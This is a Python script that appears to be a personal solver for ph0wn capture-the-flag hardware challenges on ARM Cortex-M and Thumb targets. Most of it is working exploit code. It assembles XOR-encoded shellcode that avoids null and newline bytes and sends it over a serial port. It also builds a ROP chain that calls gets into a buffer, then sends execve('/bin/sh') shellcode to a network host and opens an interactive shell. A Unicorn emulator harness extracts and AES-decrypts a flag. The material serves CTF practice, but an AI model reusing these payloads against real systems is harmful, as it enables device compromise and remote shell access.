/
main.py
executable file
·493 lines (401 loc) · 13 KB
/
main.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
#!/usr/bin/env python
import codecs
from chdrft.cmds import CmdsList
from chdrft.main import app
from chdrft.utils.cmdify import ActionHandler
from chdrft.utils.misc import Attributize
import glog
from chdrft.tube.serial import Serial
from chdrft.tube.connection import Connection
import struct
import time
from chdrft.utils.swig import swig
import subprocess as sp
from chdrft.cmds import CmdsList
from chdrft.main import app
from chdrft.utils.cmdify import ActionHandler
from chdrft.utils.misc import Attributize
import chdrft.utils.misc as cmisc
import glog
import numpy as np
from chdrft.emu.binary import arch_data, Arch
import chdrft.emu.kernel as kernel
from chdrft.emu.structures import StructBuilder, CodeStructExtractor, Structure, StructBackend, g_data, MemBufAccessor
from chdrft.emu.func_call import AsyncMachineCaller, FuncCallWrapperGen, FunctionCaller, AsyncFunctionCaller, SimpleBufGen
import unicorn as uc
from chdrft.emu.elf import ElfUtils
from chdrft.emu.trace import TraceEvent, WatchedMem, WatchedRegs, Display
import chdrft.emu.trace as trace
import traceback as tb
import numpy as np
import binascii
import struct
from chdrft.tube.fifo import ManagedBidirectionalFifo
from chdrft.tube.process import Process
import curses.ascii
import time
glog.setLevel(glog.INFO)
import itertools
import os
import ctypes
import ctypes.util
from chdrft.utils.swig import swig_unsafe
from collections import defaultdict
import pefile
import yaml
import chdrft.emu.structures as Structures
import subprocess as sp
from chdrft.tube.serial import Serial
from chdrft.dbg.gdbdebugger import GdbDebugger, launch_gdb
from concurrent.futures import wait
import tempfile
import re
import multiprocessing
import pprint
from collections import OrderedDict
import pickle
from chdrft.tube.connection import Connection, Server
import numpy as np
import glob
from chdrft.utils.fmt import Format
from chdrft.emu.kernel_runner import create_kern
global flags, cache
flags = None
cache = None
def args(parser):
clist = CmdsList().add(test).add(alberry).add(test2).add(test3)
parser.add_argument('--port', default='/dev/ttyACM0')
parser.add_argument('--simulate', action='store_true')
parser.add_argument('--hook-code', action='store_true')
ActionHandler.Prepare(parser, clist.lst, global_action=0)
def checkit(s):
assert s.find(b'\n') == -1, s.find(b'\n')
assert s.find(b'\x00') == -1, s.find(b'\x00')
def test2(ctx):
pattern_key = b'You did the easy part! Congratz - get a flag as rewa'
pattern_write = b'70b50c001500fff797ff002807d103f09bff0923036001246442200070bd03682100db682a009847041ef6da03f08cff6442'
pattern_write = codecs.decode(pattern_write, 'hex')
def replace_file(fin, fout, **kwargs):
content = open(fin).read()
res = cmisc.template_replace_safe(content, **kwargs)
with open(fout, 'w') as f:
f.write(res)
def fmt1(x):
cx = []
for a in x:
cx.append(f'.byte {a}')
return '\n'.join(cx)
OPTS = '-mthumb -mcpu=cortex-m0'
sp.check_output(f'arm-none-eabi-gcc {OPTS} -c s2.c -o s2.o', shell=1)
sp.check_output(f'arm-none-eabi-gcc {OPTS} -c findit.c -o findit.o', shell=1)
def get_bin(f):
sp.check_output(f'arm-none-eabi-objcopy -O binary -j .text {f} res.bin', shell=1)
return open('./res.bin', 'rb').read()
findit_content = get_bin('findit.o')
solve_content = get_bin('s2.o')
findit_offset = 0x200
assert len(solve_content) < findit_offset
solve_content = Format(solve_content).pad(findit_offset, 0).v
replace_file(
'./entry.asm',
'./entry.out.asm',
PATTERN_WRITE=fmt1(pattern_write),
N_WRITE=len(pattern_write),
PATTERN_KEY=fmt1(pattern_key),
N_KEY=len(pattern_key),
FINDIT_FUNC_OFFSET=findit_offset)
sp.check_output(f'arm-none-eabi-as {OPTS} -c entry.out.asm -o entry.out.o', shell=1)
entry_content = get_bin('entry.out.o')
content = entry_content + solve_content + findit_content
KEYLEN = 8
key = bytearray([0] * KEYLEN)
for i in range(KEYLEN):
sx = set()
for p in range(i, len(content), KEYLEN):
sx.add(content[p])
bad = set([0, 0xa])
for cnd in range(256):
if cnd in bad: continue
for v in sx:
if (cnd ^ v) in bad: break
else:
key[i] = cnd
break
else:
assert 0
print('Selecting key ', key)
end_marker = b'\xaa' * 8
replace_file(
'./encoder.asm', './encoder.out.asm', DATALEN=len(content), KEYLEN=KEYLEN, KEY=fmt1(key))
sp.check_output('arm-none-eabi-as -c encoder.out.asm -o encoder.o', shell=1)
prefix = get_bin('encoder.o')
prefix = prefix[:prefix.find(end_marker)]
print(hex(len(entry_content)), hex(len(solve_content)), hex(len(findit_content)), hex(len(prefix)))
def encrypt(a, key):
res = list()
for i, c in enumerate(a):
res.append(c ^ key[i % len(key)])
return bytes(res)
print(prefix)
checkit(prefix)
c_content = encrypt(content, key)
checkit(c_content)
payload = prefix + c_content
print(payload)
checkit(payload)
open('payload.bin', 'wb').write(payload)
open('payload.dec.bin', 'wb').write(prefix + content)
if flags.simulate:
test_payload(ctx, payload)
return
return
# R0 : 0001B305
# R1 : 20003F11
# R2 : 20003C79
# R3 : 20003C79
# R4 : 00000002
# R5 : 00000222
# R6 : 00000047
# R7 : 20006760
# R8 : 00000000
# R9 : 00000000
# R10 : 00000000
# R11 : 00000000
# R12 : 0000001B
# SP : 20006760
# LR : 0001B305
# PC : 20003D1E
# xPSR : 01000000
# PSP : 20006740
# MSP : 20007EC0
# CPUID: 410CC200
conn = Serial(flags.port)
with conn:
res = conn.recv_until('Exec')
input('send payload?')
conn.send(payload + b'\x00')
conn.recv_until('Calling your shellcode')
while True:
try:
print(conn.get_to_end(timeout=1).decode())
except KeyboardInterrupt:
break
def test(ctx):
conn = Serial(flags.port)
target_hard = b"\xf8\x11\x0b\xe3\x01\x10\x40\xe3\x31\xff\x2f\xe1"
target = b'\x04\xf0\x9d\xe4'
target = b"\x28\x13\x0b\xe3\x01\x10\x40\xe3\x31\xff\x2f\xe1"
target = b'\xe9\x2d\x40\x10\xe3\x0b\x13\x18\xe3\x40\x10\x01\xe1\x2f\xff\x31\xe8\xbd\x80\x10'
target = b'\x10\x40\x2d\xe9\x58\x12\x0b\xe3\x01\x10\x40\xe3\x31\xff\x2f\xe1\x10\x80\xbd\xe8'
target = b'\x10\x40\x2d\xe9\x10\x80\xbd\xe8'
target = b'\xe9\x2d\x40\x10\xe8\xbd\x80\x10'
target = b'\x10\xb5\x4b\xf2\x58\x21\xc0\xf2\x01\x01\x88\x47\x10\xbd'
target = b'\x12\xb5\x4b\xf2\x58\x21\xc0\xf2\x01\x01\x88\x47\x12\xbd'
target = open('./res.bin', 'rb').read()
#ph0wn{get_real_flag_on_the_organizers_desk}
#ph0wn{get_real_flag_on_the_organizers_desk}
with conn:
res = conn.recv_until('Exec')
print('GOOOT ', res)
#7ihONj2WO9josPFe
input('go?')
#0001B258
assert target.find(b'\x00') == -1
assert target.find(b'\x0a') == -1
for i in range(len(target)):
conn.send(target[i])
conn.trash()
conn.send(b'\x00')
input('execute?')
conn.trash()
input('aaa?')
conn.interactive()
# >> You did the easy part! Congratz - get a flag as reward: ph0wn{thumbv2_shellcoding_is_easy}
#:0001B1F8
def alberry(ctx):
with Connection('10.210.17.68', 12345) as conn:
target = struct.pack('<I', 0x0011578)
if 0:
conn.send(target * 20 + b'\n')
conn.interactive()
raw_buf = 0x9A8A0
raw_buf = 0x9A89c
shellcode = b'\x01\x60\x8f\xe2\x16\xff\x2f\xe1\x78\x46\x07\x30\x01\x30\x01\x90\x01\xa9\x92\x1a\x0b\x27\x01\xdf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x00\x00'
shellcode = b'\x02\xa0\x49\x40\x52\x40\xc2\x71\x0b\x27\x01\xdf\x2f\x62\x69\x6e\x2f\x73\x68\x58'
shellcode = open('./res.bin', 'rb').read()
gets_addr = 0x019EAc
pop_r0_r4_pc = 0x000294bc
pop_pc = 0x00059978
payload = struct.pack('<I', pop_pc) * 10
payload += struct.pack('<III', pop_r0_r4_pc, raw_buf, 0)
payload += struct.pack('<IIIII', gets_addr, 0, 0, 0, 0)
payload += struct.pack('<I', raw_buf)
#assert payload.find(b'\n') == -1
#assert shellcode.find(b'\n') == -1
#print('laaa')
conn.send(payload + b'\n')
conn.send(shellcode + b'\n')
conn.send('ls\n')
conn.interactive()
def load_kern(ctx):
log_file = '/tmp/info.out_{}'.format(ctx.runid)
kern, elf = kernel.Kernel.LoadFrom(elf='./writeable_memories.elf', arch=arch_data[Arch.thumb])
#kern.mu.hook_add(uc.UC_ERR_WRITE_PROT, kernel.safe_hook(kern.hook_bad_mem_access), None, 0, 2**32-1)
kern.mu.hook_add(uc.UC_HOOK_MEM_WRITE_UNMAPPED | uc.UC_HOOK_MEM_FETCH_UNMAPPED,
kernel.safe_hook(kern.hook_unmapped))
kern.tracer.ignore_unwatched = True
#kern.tracer.watched.append(WatchedRegs('regs', regs, cmisc.to_list('rip rcx rdx rsp')))
kern.tracer.watched.append(WatchedMem('all', kern.mem, 0, n=2**32, sz=1))
return kern, elf
class KernelRunner:
def __init__(self, kern):
self.kern = kern
def __call__(self, end_pc):
pass
class UCSolver:
def __init__(self, kern):
self.kern = kern
self.regs = kern.regs
self.mem = kern.mem
self.stack = kern.stack
self.handler = self.handle()
self.kern.notify_hook_code = self.notify_hook_code
self.hook_addr(0x0001B304, self.end_shellcode_addr)
self.hook_addr(0x20003d3e, self.hook1)
self.hook_addr(0x20003d4c, self.hook2)
self.hook_addr(0x20003d5c, self.hook3)
self.hook_addr(0x20003d40, self.hook1_end)
self.hook_addr(0x20003d4e, self.hook2_end)
self.hook_addr(0x20003d5e, self.hook3_end)
self.hook_addr(0x1cf50, self.write_hook)
def write_hook(self, *args):
assert self.regs.r0 == 1
mem = self.mem.read(self.regs.r1, self.regs.r2)
off_str = 0x29221
off_key = 0x00029264 - off_str
off_flag = 0x000292B4 - off_str
key = mem[off_key:off_key + 0x10]
flag = mem[off_flag:off_flag + 0x40]
print('READING ', mem)
print(key, flag)
import Crypto.Cipher.AES
print('DECODE >> ')
aes = Crypto.Cipher.AES.new(key, Crypto.Cipher.AES.MODE_ECB)
print(aes.decrypt(flag))
self.regs.pc = self.regs.lr
def enable_hook_debug(self):
code_low = 1
code_high = 0
stack_low = 1
stack_high = 0
self.kern.mu.hook_add(uc.UC_HOOK_CODE, kernel.safe_hook(self.kern.hook_code), None, code_low,
code_high)
self.kern.mu.hook_add(uc.UC_HOOK_MEM_READ | uc.UC_HOOK_MEM_WRITE,
kernel.safe_hook(self.kern.hook_mem_access), None, 1, 0)
def hook1(self, *args):
print('CALLING1')
print(self.kern.context_str())
print()
def hook1_end(self, *args):
print('CALLING1 end ')
print(self.kern.context_str())
print()
def hook2(self, *args):
print('CALLING2')
print(self.kern.context_str())
print()
def hook2_end(self, *args):
print('CALLING2 end ')
print(self.kern.context_str())
print()
def hook3(self, *args):
print('CALLING3')
print(self.kern.context_str())
print()
def hook3_end(self, *args):
print('CALLING3 end ')
print(self.kern.context_str())
self.enable_hook_debug()
print()
def end_shellcode_addr(self, *args):
print('on end of shellcode')
self.kern.stop()
def hook_addr(self, addr, handler=None):
if handler is None: handler = self
self.kern.mu.hook_add(uc.UC_HOOK_CODE, kernel.safe_hook(handler), None, addr, addr + 1)
def failure_hook(self, *args):
print('ON FAILURE')
self.kern.stop()
def notify_hook_code(self, address):
pass
def hook_intr(self, intno, addr):
pass
#self.kern.kill_in = 10
def __call__(self, *args, **kwargs):
next(self.handler)
def handle(self):
self.kern.stop()
yield
def event_handle(e, fevent, fop):
glog.info('Got event %s', e)
if isinstance(e, trace.TraceEvent):
fevent.write(str(e) + '\n\n')
elif isinstance(e, trace.VmOp):
fevent.write(e.gets(regs=True) + '\n\n\n')
fop.write(str(e) + '\n\n\n')
fop.flush()
fevent.flush()
def trace_event_handler(e):
if isinstance(e, TraceEvent):
print(str(e) + '\n\n')
def test_payload(ctx, payload):
g_data.set_m32(True)
kern, elf = load_kern(ctx)
kern.tracer.diff_mode = False
event_log = open('/tmp/evens_{}.out'.format(ctx.runid), 'w')
vmop_log = open('/tmp/vmop_{}.out'.format(ctx.runid), 'w')
kern.tracer.cb = lambda x: event_handle(x, event_log, vmop_log)
solver = UCSolver(kern)
kern.ignore_mem_access = False
sc = elf.get_symbol('shellcode')
kern.mem.write(sc, payload)
kern.regs.lr = 0x0001B304
try:
#kern.set_real_mode()
kern.start(ip=sc + 1)
#print('RESTARTING')
#kern.set_real_mode()
#kern.start(count=3)
except uc.UcError as e:
print('%s' % e)
tb.print_exc()
#print(kern.mem.read(output_addr, 20))
return
def test3(ctx):
g_data.set_m32(True)
def handle(s):
s.kern.stop()
yield
s = create_kern(arch='thumb', solver_kwargs=dict(handle=handle))
res = s.kern.machine.get_disassembly('''
adr %r2, START
mov %r1, #12;
mov %r1, #12;
mov %r1, #12;
mov %r1, #12;
mov %r1, #12;
.align
START:
mov %r1, #0xff;
''')
ip = s.kern.scratch[0]
s.hook_addr(ip + len(res))
s.mem.write(ip, res)
s.enable_full_hook()
s.run(ip + 1)
print(s.regs.r1)
print(s.kern.mc.args[1])
def main():
ctx = Attributize()
ActionHandler.Run(ctx)
app()